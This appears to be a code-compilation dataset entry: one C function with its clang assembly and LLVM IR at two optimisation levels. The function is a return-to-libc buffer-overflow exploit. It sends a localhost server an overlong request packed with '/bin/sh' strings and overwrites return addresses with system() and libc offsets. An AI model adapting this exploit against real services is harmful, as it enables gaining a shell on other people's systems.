#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int /*<<< orphan*/ memset(struct sockaddr_in *, int /*<<< orphan*/, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, int);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ write(int, char *, int);
int browser(int port, int stringaddr) {
  int sock_client = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in addr;
  memset(&addr, 0, sizeof(addr));
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    perror("connect");
    exit(1);
  }
  printf("system's address = %x\n", stringaddr);
  char uri[2000];
  long *addr_s;
  int i;
  addr_s = (long *)uri;
  for (i = 0; i < 1060; i++) {
    uri[i++] = '/';
    uri[i++] = 'b';
    uri[i++] = 'i';
    uri[i++] = 'n';
    uri[i++] = '/';
    uri[i++] = 's';
    uri[i++] = 'h';
    uri[i] = '\0';
  }
  addr_s[265] = stringaddr;
  addr_s[266] = stringaddr - (0xb75b2060 - 0xb75a5be0);
  addr_s[267] = stringaddr - (0xb75b2060 - 0xb76d3c58);
  uri[1073] = '\0';
  uri[1072] = ' ';
  write(sock_client, uri, 1073);
  close(sock_client);
  return 0;
}


x86 assembly (clang, -O0):
<browser>:
push   %rbp
mov    %rsp,%rbp
sub    $0x800,%rsp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    0x2e30(%rip),%rax
mov    (%rax),%edi
mov    0x2e17(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10c0 <socket@plt>
mov    %eax,-0xc(%rbp)
lea    -0x18(%rbp),%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1060 <memset@plt>
mov    0x2e04(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x10(%rbp)
mov    -0x4(%rbp),%edi
call   1040 <htons@plt>
mov    %eax,-0x14(%rbp)
lea    0xe05(%rip),%rdi
call   1080 <inet_addr@plt>
mov    %eax,-0x18(%rbp)
mov    -0xc(%rbp),%edi
lea    -0x18(%rbp),%rsi
mov    $0xc,%edx
call   10b0 <connect@plt>
cmp    $0x0,%rax
jge    1234 <browser+0x94>
lea    0xde5(%rip),%rdi
call   1090 <perror@plt>
mov    $0x1,%edi
call   10a0 <exit@plt>
mov    -0x8(%rbp),%esi
lea    0xdd4(%rip),%rdi
call   1050 <printf@plt>
lea    -0x7f0(%rbp),%rax
mov    %rax,-0x7f8(%rbp)
movl   $0x0,-0x7fc(%rbp)
cmpl   $0x424,-0x7fc(%rbp)
jge    134b <browser+0x1ab>
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x2f,-0x7f0(%rbp,%rax,1)
2f
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x62,-0x7f0(%rbp,%rax,1)
62
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x69,-0x7f0(%rbp,%rax,1)
69
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x6e,-0x7f0(%rbp,%rax,1)
6e
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x2f,-0x7f0(%rbp,%rax,1)
2f
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x73,-0x7f0(%rbp,%rax,1)
73
mov    -0x7fc(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x7fc(%rbp)
cltq
movb   $0x68,-0x7f0(%rbp,%rax,1)
68
movslq -0x7fc(%rbp),%rax
movb   $0x0,-0x7f0(%rbp,%rax,1)
mov    -0x7fc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x7fc(%rbp)
jmp    125b <browser+0xbb>
movslq -0x8(%rbp),%rcx
mov    -0x7f8(%rbp),%rax
mov    %rcx,0x848(%rax)
mov    -0x8(%rbp),%eax
sub    $0xc480,%eax
mov    %eax,%eax
mov    %eax,%ecx
mov    -0x7f8(%rbp),%rax
mov    %rcx,0x850(%rax)
mov    -0x8(%rbp),%eax
sub    $0xffede408,%eax
mov    %eax,%eax
mov    %eax,%ecx
mov    -0x7f8(%rbp),%rax
mov    %rcx,0x858(%rax)
movb   $0x0,-0x3bf(%rbp)
movb   $0x20,-0x3c0(%rbp)
mov    -0xc(%rbp),%edi
lea    -0x7f0(%rbp),%rsi
mov    $0x431,%edx
call   1030 <write@plt>
mov    -0xc(%rbp),%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x800,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<browser>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x7e0,%rsp
mov    %esi,%ebx
mov    %edi,%ebp
mov    0x2e2e(%rip),%r12
mov    (%r12),%edi
mov    0x2e13(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10c0 <socket@plt>
mov    %eax,%r14d
mov    %rsp,%r15
mov    %r15,%rdi
xor    %esi,%esi
mov    $0xc,%edx
call   1060 <memset@plt>
mov    (%r12),%eax
mov    %eax,0x8(%rsp)
mov    %ebp,%edi
call   1040 <htons@plt>
mov    %eax,0x4(%rsp)
lea    0xe03(%rip),%rdi
call   1080 <inet_addr@plt>
mov    %eax,(%rsp)
mov    %r14d,%edi
mov    %r15,%rsi
mov    $0xc,%edx
call   10b0 <connect@plt>
test   %rax,%rax
js     12ae <browser+0x10e>
lea    0xded(%rip),%rdi
mov    %ebx,%esi
call   1050 <printf@plt>
mov    $0xfffffffffffffff8,%rax
movabs $0x68732f6e69622f,%rcx
nopl   (%rax)
mov    %rcx,0x18(%rsp,%rax,1)
add    $0x8,%rax
cmp    $0x41c,%rax
jb     1240 <browser+0xa0>
movslq %ebx,%rax
mov    %rax,0x858(%rsp)
lea    -0xc480(%rbx),%eax
mov    %rax,0x860(%rsp)
add    $0x121bf8,%ebx
mov    %rbx,0x868(%rsp)
movw   $0x20,0x440(%rsp)
lea    0x10(%rsp),%rsi
mov    %r14d,%edi
mov    $0x431,%edx
call   1030 <write@plt>
mov    %r14d,%edi
call   1070 <close@plt>
xor    %eax,%eax
add    $0x7e0,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xd55(%rip),%rdi
call   1090 <perror@plt>
mov    $0x1,%edi
call   10a0 <exit@plt>

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [10 x i8] c"127.0.0.1\00"
@.str.1 = [8 x i8] c"connect\00"
@.str.2 = [23 x i8] c"system's address = %x\0A\00"
define i32 @browser(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
%7 = alloca [2000 x i8]
%8 = alloca i64*
%9 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%10 = load i32, i32* @AF_INET
%11 = load i32, i32* @SOCK_STREAM
%12 = call i32 @socket(i32 %10, i32 %11, i32 0)
store i32 %12, i32* %5
%13 = call i32 @memset(%struct.sockaddr_in* %6, i32 0, i32 12)
%14 = load i32, i32* @AF_INET
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 2
store i32 %14, i32* %15
%16 = load i32, i32* %3
%17 = call i32 @htons(i32 %16)
%18 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 1
store i32 %17, i32* %18
%19 = call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
%20 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 0
%21 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %20, i32 0, i32 0
store i32 %19, i32* %21
%22 = load i32, i32* %5
%23 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%24 = call i64 @connect(i32 %22, %struct.sockaddr* %23, i32 12)
%25 = icmp slt i64 %24, 0
br i1 %25, label %26, label %29
26: ; preds = %2
%27 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%28 = call i32 @exit(i32 1)
unreachable
29: ; preds = %2
%30 = load i32, i32* %4
%31 = call i32 @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0), i32 %30)
%32 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 0
%33 = bitcast i8* %32 to i64*
store i64* %33, i64** %8
store i32 0, i32* %9
br label %34
34: ; preds = %69, %29
%35 = load i32, i32* %9
%36 = icmp slt i32 %35, 1060
br i1 %36, label %37, label %72
37: ; preds = %34
%38 = load i32, i32* %9
%39 = add nsw i32 %38, 1
store i32 %39, i32* %9
%40 = sext i32 %38 to i64
%41 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %40
store i8 47, i8* %41
%42 = load i32, i32* %9
%43 = add nsw i32 %42, 1
store i32 %43, i32* %9
%44 = sext i32 %42 to i64
%45 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %44
store i8 98, i8* %45
%46 = load i32, i32* %9
%47 = add nsw i32 %46, 1
store i32 %47, i32* %9
%48 = sext i32 %46 to i64
%49 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %48
store i8 105, i8* %49
%50 = load i32, i32* %9
%51 = add nsw i32 %50, 1
store i32 %51, i32* %9
%52 = sext i32 %50 to i64
%53 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %52
store i8 110, i8* %53
%54 = load i32, i32* %9
%55 = add nsw i32 %54, 1
store i32 %55, i32* %9
%56 = sext i32 %54 to i64
%57 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %56
store i8 47, i8* %57
%58 = load i32, i32* %9
%59 = add nsw i32 %58, 1
store i32 %59, i32* %9
%60 = sext i32 %58 to i64
%61 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %60
store i8 115, i8* %61
%62 = load i32, i32* %9
%63 = add nsw i32 %62, 1
store i32 %63, i32* %9
%64 = sext i32 %62 to i64
%65 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %64
store i8 104, i8* %65
%66 = load i32, i32* %9
%67 = sext i32 %66 to i64
%68 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 %67
store i8 0, i8* %68
br label %69
69: ; preds = %37
%70 = load i32, i32* %9
%71 = add nsw i32 %70, 1
store i32 %71, i32* %9
br label %34
72: ; preds = %34
%73 = load i32, i32* %4
%74 = sext i32 %73 to i64
%75 = load i64*, i64** %8
%76 = getelementptr inbounds i64, i64* %75, i64 265
store i64 %74, i64* %76
%77 = load i32, i32* %4
%78 = sub i32 %77, 50304
%79 = zext i32 %78 to i64
%80 = load i64*, i64** %8
%81 = getelementptr inbounds i64, i64* %80, i64 266
store i64 %79, i64* %81
%82 = load i32, i32* %4
%83 = sub i32 %82, -1186808
%84 = zext i32 %83 to i64
%85 = load i64*, i64** %8
%86 = getelementptr inbounds i64, i64* %85, i64 267
store i64 %84, i64* %86
%87 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 1073
store i8 0, i8* %87
%88 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 1072
store i8 32, i8* %88
%89 = load i32, i32* %5
%90 = getelementptr inbounds [2000 x i8], [2000 x i8]* %7, i64 0, i64 0
%91 = call i32 @write(i32 %89, i8* %90, i32 1073)
%92 = load i32, i32* %5
%93 = call i32 @close(i32 %92)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [10 x i8] c"127.0.0.1\00"
@.str.1 = [8 x i8] c"connect\00"
@.str.2 = [23 x i8] c"system's address = %x\0A\00"
define i32 @browser(i32 %0, i32 %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca [2000 x i8]
%5 = load i32, i32* @AF_INET
%6 = load i32, i32* @SOCK_STREAM
%7 = tail call i32 @socket(i32 %5, i32 %6, i32 0)
%8 = bitcast %struct.sockaddr_in* %3 to i8*
%9 = call i32 @memset(%struct.sockaddr_in* %3, i32 0, i32 12)
%10 = load i32, i32* @AF_INET
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %10, i32* %11
%12 = call i32 @htons(i32 %0)
%13 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1
store i32 %12, i32* %13
%14 = call i32 @inet_addr(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0, i32 0
store i32 %14, i32* %15
%16 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%17 = call i64 @connect(i32 %7, %struct.sockaddr* %16, i32 12)
%18 = icmp slt i64 %17, 0
br i1 %18, label %19, label %22
19: ; preds = %2
%20 = call i32 @perror(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0))
%21 = call i32 @exit(i32 1)
unreachable
22: ; preds = %2
%23 = call i32 @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0), i32 %1)
%24 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 0
br label %25
25: ; preds = %22, %25
%26 = phi i64 [ 0, %22 ], [ %42, %25 ]
%27 = or i64 %26, 1
%28 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %26
store i8 47, i8* %28
%29 = or i64 %26, 2
%30 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %27
store i8 98, i8* %30
%31 = or i64 %26, 3
%32 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %29
store i8 105, i8* %32
%33 = or i64 %26, 4
%34 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %31
store i8 110, i8* %34
%35 = or i64 %26, 5
%36 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %33
store i8 47, i8* %36
%37 = or i64 %26, 6
%38 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %35
store i8 115, i8* %38
%39 = or i64 %26, 7
%40 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %37
store i8 104, i8* %40
%41 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 %39
store i8 0, i8* %41
%42 = add nuw nsw i64 %26, 8
%43 = icmp ult i64 %26, 1052
br i1 %43, label %25, label %44
44: ; preds = %25
%45 = sext i32 %1 to i64
%46 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 1, i64 120
%47 = bitcast i8* %46 to i64*
store i64 %45, i64* %47
%48 = add i32 %1, -50304
%49 = zext i32 %48 to i64
%50 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 1, i64 128
%51 = bitcast i8* %50 to i64*
store i64 %49, i64* %51
%52 = add i32 %1, 1186808
%53 = zext i32 %52 to i64
%54 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 1, i64 136
%55 = bitcast i8* %54 to i64*
store i64 %53, i64* %55
%56 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 1073
store i8 0, i8* %56
%57 = getelementptr inbounds [2000 x i8], [2000 x i8]* %4, i64 0, i64 1072
store i8 32, i8* %57
%58 = call i32 @write(i32 %7, i8* %24, i32 1073)
%59 = call i32 @close(i32 %7)
ret i32 0
}